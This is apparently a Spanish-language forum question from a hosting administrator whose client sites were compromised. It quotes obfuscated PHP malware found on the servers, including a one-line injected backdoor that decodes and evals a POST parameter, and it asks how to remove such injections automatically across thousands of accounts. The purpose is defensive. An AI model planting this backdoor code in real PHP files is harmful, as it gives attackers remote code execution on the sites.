Tengo varios VPS con al menos miles de cuentas en ellos.
Los sitios web de mis clientes son pirateados y enviando correos electrónicos no deseados. Revisé el registro y descubrí dos tipos de escrituras
tipo1:
<?php
$d79="HYI\riP=s5'bX'a43Z #fn%dTy9c|JWjMV<z0Q]6&kD}UECrue~mq8->N2hpx_!Bo*g\nK\$O1{7G[^.L+Rw\;?FA)lt\tS@,/\":(v"; $GLOBALS['ujijy64'] = $d79[4].$d7
tipo2:
<?php
function wtakziboyl($gaezs, $fp){$vdxhvfmnol = ''; for($i=0; $i < strlen($gaezs); $i++){$vdxhvfmnol .= isset($fp[$gaezs[$i]]) ? $fp[$gaezs[$i]] : $gaezs[$i];}
$otcow="base64_decode";return $otcow($vdxhvfmnol);}
$sfnb = '4fwFMBxy214Q5XBm8exm1XHK2m83NZsBdZpzvpzUMRsz1jCwgJArtfxr1X'.
'Bm8exm8m83NSUzvpzUMRsz1jCwgJArtRhY1XBY2RCIgfwKtwxkMRIw5mpAbJ'.
'aiJa0y21cqgfwE2Bx3MRIzgJApOd3OJeweOfwy8XBkOJcqnkBPBaBPOPaOopQ55hxdcB'.
Después de investigar más, descubrí los scripts inyectados en la parte superior de los archivos genuinos como abajo
$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n828e00'])) {eval($s21(${$s20}['n828e00']));}?>
Este código anterior sospecho que es de puerta trasera. Quiero eliminar todos esos scripts o al menos detenerlos para que no lo ejecuten. Puede ser que pueda usar reglas modsec.
Al navegar por Internet, descubrí que podemos correr debajo del código para eliminar dicha inyección
grep -Rl PCT4BA6ODSE . | xargs sed -i 's/<[?]php.*PCT4BA6ODSE_.*[?]>/<\?php \/\/ RECOVERED FILE \?>/g'
Encontrar este tipo de archivos en un servidor donde se alojan miles de cuentas es algo imposible. Así que quiero que lo haga automáticamente (en este caso)
Sé que hay muchas otras puertas traseras, pero para este escenario, ¿qué sugiere la gente?
Esto puede no ser una buena idea y puede afectar el rendimiento del servidor, me encantaría escuchar cualquier idea alternativa.